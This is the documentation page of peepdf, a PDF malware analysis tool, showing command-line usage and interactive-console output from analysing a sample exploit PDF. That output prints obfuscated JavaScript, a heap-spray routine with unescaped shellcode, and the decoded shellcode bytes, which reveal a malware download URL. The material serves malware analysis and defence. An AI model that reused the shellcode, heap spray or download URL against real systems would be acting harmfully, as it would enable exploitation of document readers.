peepdf - PDF Analysis Tool

Analysis Javascript Malcode PDF peepdf Shellcode Specifications Tools

What is this?

peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of **PyV8** and **Pylibemu** it provides Javascript and shellcode analysis wrappers too. Apart of this it is able to create new PDF files, modify existent ones and obfuscate them.

Usage

```
Usage: ./peepdf.py [options] PDF_file

Options:
  -h, --help            show this help message and exit
  -i, --interactive     Sets console mode.
  -s SCRIPTFILE, --load-script=SCRIPTFILE
                        Loads the commands stored in the specified file and
                        execute them.
  -c, --check-vt        Checks the hash of the PDF file on VirusTotal.
  -f, --force-mode      Sets force parsing mode to ignore errors.
  -l, --loose-mode      Sets loose parsing mode to catch malformed objects.
  -m, --manual-analysis
                        Avoids automatic Javascript analysis. Useful with
                        eternal loops like heap spraying.
  -u, --update          Updates peepdf with the latest files from the
                        repository.
  -g, --grinch-mode     Avoids colorized output in the interactive console.
  -v, --version         Shows program's version number.
  -x, --xml             Shows the document information in XML format.


$ ./peepdf.py -i


PPDF> help

Documented commands (type help <topic>):
========================================
bytes           errors      js_eval         open        sctest
changelog       exit        js_join         quit        search
create          filters     js_unescape     rawobject   set
```


- Travelling to the far side of Andromeda at Botconf 2015
- Black Hat Arsenal peepdf challenge solution
- Black Hat Arsenal peepdf challenge
- peepdf news: GitHub, Google Summer of Code and Black Hat
- Andromeda/Gamarue bot loves JSON too (new versions details)
- Quick analysis of the CVE-2013-2729 obfuscated exploits
- Dissecting SmokeLoader (or Yulia's sweet ass proposition)
- Released peepdf v0.3

more

Security Posts

- Recent Security Research News
- macOS & Windows: Pentesting it with iBombshell (Part 2 de 2)
- What the CA Veracode Verified Continuous Tier Looks Like
- Beers with Talos EP 32 - Live from Orlando Part 2: Take All the Things Off the Internet
- Announcing the Trail of Bits osquery support group
- Quickpost: Decoding Certutil Encoded Files
- SMBs: 3 Signs It's Finally Time to Replace Your AntiVirus
- Microcode in pictures
- Fabricating a Trellis
- An Elaborate Hack Shows How Much Damage IoT Bugs Can Do

```
decode          hash         log               rawstream     show
decrypt         help         malformed_output  references    stream
embed           info         metadata          replace       tree
encode          js_analyse   modify            reset         vtcheck
encode_strings  js_beautify  object            save          xor
encrypt         js_code      offsets           save_version  xor_search
```

Index

How does it work?

- How can I execute the tool?

The basic syntax is:

```
$ ./peepdf.py pdf_file
```

But you can use the *-f* option to avoid errors and to force the tool to ignore them:

```
$ ./peepdf.py fcexploit.pdf
Error: Missing /Length in stream object!
```

```
$ ./peepdf.py -f fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
```


- How Russian Facebook Ads Divided and Targeted US Voters Before the 2016 Election
- Infocon: green
- ISC Stormcast For Friday, April 6th 2018 https://isc.sans.edu/podcastdetail.html?id=5943, (Fri, Apr 6th)
-
Threat Hunting & Adversary Emulation: The HELK vs APTSimulator - Part 1, (Thu, Apr 5th)
-
-
-
-
-
-

more

```
Comments: 0
Errors: 1

Version 0:
        Catalog: 27
        Info: 11
        Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26,
27, 28]
                Errors (2): [11, 25]
        Streams (5): [5, 7, 9, 10, 11]
                Encoded (4): [5, 7, 9, 10]
        Objects with JS code (1): [5]
        Suspicious elements:
                /OpenAction: [1]
                /JS: [4]
                /JavaScript: [4]
                getAnnots (CVE-2009-1492): [5]
```

That's the default output, if you really want to explore and play with the PDF file use the interactive console (*-i*). These are some of the common commands:

- The *tree* command shows the logical structure of the file:

```
PPDF> tree

/Catalog (1)
        /Fields (5)
        array (2)
        /JavaScript (7)
                /Names (10)
                        /Action /JavaScript (12)
                                stream (13)
        /Pages (4)
                /Page (9)
                        /Pages (4)
```

```
                      stream (11)
                      /ProcSet (8)
               /ProcSet (8)
       /Outlines (3)
       dictionary (6)
/Info (14)
```

- To view the physical structure of the file you will have to use the *offsets* command:

```
PPDF> offsets

      0 Header
     17
       Object  1 (260)
    276
    279
       Object  2 (19)
    297
    300
       Object  3 (48)
    347
    350
       Object  4 (78)
    427
    430
       Object  5 (33)
    462
    465
       Object  6 (21)
    485
    488
       Object  7 (41)
    528
```

```
  531
     Object  8 (68)
  598
  601
     Object  9 (187)
  787
  790
     Object  10 (52)
  841
  844
     Object  11 (85)
  928
  931
     Object  12 (50)
  980
  983
     Object  13 (1823)
 2805
 2808
     Object  14 (204)
 3011
 3014
     Xref Section (325)
 3338
 3341
     Trailer (69)
 3409
 3410 EOF
```

- With the *metadata* command you can see the metadata information in each version of the document:

```
PPDF> metadata

Info Object in version 0:

/Title
/ModDate 2008312053854
/CreationDate 2008312053854
/Producer Scribus PDF Library 1.3.3.12
/Trapped /False
/Creator Scribus 1.3.3.12
/Keywords
/Author
```

- The command *rawobject* shows the different objects without decodings, while the *object* command shows the content after the decoding process:

```
PPDF> object 1

/AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction <</S /JavaScript
/JS (this.uSQXcfcd2())>>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences <</PageDirection /L2R>>

PPDF> rawobject 1

1 0 obj
```

```
<< /#41#63#72#6f#46#6f#72#6d 5 0 R
/#54#68#72#65#61#64#73 2 0 R
/#56#69#65#77#65#72#50#72#65#66#65#72#65#6e#63#65#73  <<
/#50#61#67#65#44#69#72#65#63#74#69#6f#6e /#4c#32#52 >>
/#4f#70#65#6e#41#63#74#69#6f#6e << /#53 /#4a#61#76#61#53#63#72#69#70#74
/#4a#53 (\164\150\151\163\056\165\123\121\130\143\146\143\144\062\050\051) >>
/#50#61#67#65#73 4 0 R
/#4f#75#74#6c#69#6e#65#73 3 0 R
/#54#79#70#65 /#43#61#74#61#6c#6f#67
/#50#61#67#65#4c#61#79#6f#75#74 /#53#69#6e#67#6c#65#50#61#67#65
/#44#65#73#74#73 6 0 R
/#4e#61#6d#65#73 7 0 R >>
endobj
```

- The same idea is used with the streams:

```
PPDF> stream 13

function nofaq(lgc){var ppwsd="";for(rxr=0;rxr<lgc.length;rxr+=2){ppwsd+=
(String.fromCharCode(parseInt(lgc.substr(rxr,5),19)));}eval(ppwsd);}nofaq("0D0A6452601D6
24C2B445F493F671D341D5F56651D386060526722233320D0A57635F54625A5G5F1D5D46494B3A223C2H30673
9261D4244643864452 3690D0A1D1D65595A5D561D223C2H306739285D565F5862591D241D2C1D331D4244643
8644523690D0A1D1D1D1D3C2H3067391D25341D3C2H306739320D0A1D1D6B0D0A1D1D3C2H3067391D341D3C2
H3067392861635361626 5A5F58222A261D4244643864451D291D2C23320D0A1D1D60566263605F1D3C2H306
739320D0A6B0D0A57635F54625A5G5F1D4D4A4D5G594E485522533956493F5823690D0A6452601D424840642
H39441D341D2A662A542A542A542A54320D0A1D1D1D1D1D1D605H5A574A58571D341D635F566154525H56221
F1I632E2D2E2D1I632E2D2E2D1I632A5756531I632D2D2F531I632G2G54301I632I2A53301I632I2A2A2B1I6
356572D2D1F1D250D0A1F1I63562C2E2D1I63565357521I63562I2A2F1I63575756541I63575757571I632I5
32H571I6355572E561I63565756571I632G2E56571I63562D52571I6330572G2E1I632E26161 ...

PPDF> rawstream 13

78 9c 95 58 5b 4f dd 46 10 fe 2b 11 4f 1c 25 8a   |x..X[O.F..+.O.%.|
```

```
ec d9 8b 6d 51 1e 7c 39 6b fb b9 bf 80 a6 40 a2   |...mQ.|9k.....@.|
a6 d0 02 49 95 46 fd ef fd 66 af 5e db e7 90 c8   |...I.F...f.^....|
02 96 f5 ec 37 f7 99 1d df 7d 79 f8 f0 f2 e9 f1   |....7....}y.....|
e1 cd c3 e3 dd cd df 97 9f ef 3f 1c be 7f bd 79   |..........?..♂.y|
7a f3 fc cf b7 6f 7f 5c 5f 5c 5c dd 3d 3e 5d be   |z....o♂\_\\.=>].|
fc fb 72 5d 5c e1 f7 2f 78 ff fe f3 ed c3 fd cb   |..r]\../x.......|
47 fe f7 ed 35 1d be 5b ca b7 d7 97 bf be 3c 7d   |G...5..[......<}|
...
```

- Other useful command is *references*, very helpful to know where an object is referenced and the references in an object:

```
PPDF> references to 12

[10]

PPDF> rawobject 10

10 0 obj
<</Names [(New_Script) 12 0 R]
>>
endobj

PPDF> references in 12

['13 0 R']
```

- If there are some objects with Javascript code in their content you can use the JS commands (PyV8 required) to analyze them (*js_eval, js_join, js_unescape, js_analyse*):

```
PPDF> js_analyse object 13

Javascript code:



var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
  while (E79yB.length * 2 < NPvAvQ){
    E79yB += E79yB;
  }
  E79yB = E79yB.substring(0, NPvAvQ / 2);
  return E79yB;
}
function YVYohZTd(bBeUHg){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64"+
"%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787"+
"%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3"+
"%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66"+
"%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef"+
"%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64"+
"%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf..."

Unescaped bytes:
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef   |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef   |C.........ß.N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef   |.d..d..Bd..n....|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa   |.d...a........f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9   |...w.e......f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00   |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a   |!...;...f.......|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66   |W.)...f...o.,..f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee   |........f..d....|
```

```
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f   |.d....d.........|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf   |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07   |......d.....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb   |.......(.....(..|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7   |.......d.....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10   |............4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef   |....d.....d.....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7   |.......d.....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7   |.......d.....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e   |................|
6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64   |l....d5......d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9   |..d...d..d......|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0   |d.....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11   |Q.......!........|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64   |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b   |...2d.d.*..-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f   |..........http:/|
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63   |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70                           |/exe.php|


URLs in shellcode:
        http://bikpakoc.cn/nuc/exe.php
```

[Index](#)

More info

You can take a look at the **Wiki** of the project: **installation**, **execution** and **all the commands** explained.

Releases

Date	Release	Download #1	Download #2
Now	Github version	ZIP	-
2014-06-09	peepdf v0.3	ZIP SHA1	TAR.GZ SHA1
2012-07-24	peepdf v0.2 (Black Hat USA Arsenal)	ZIP SHA1	TAR.GZ SHA1
2012-03-16	peepdf v0.1 r92 (Black Hat Europe Arsenal)	ZIP SHA1	TAR.GZ SHA1
2011-05-05	peepdf v0.1	ZIP SHA1	-

Download it!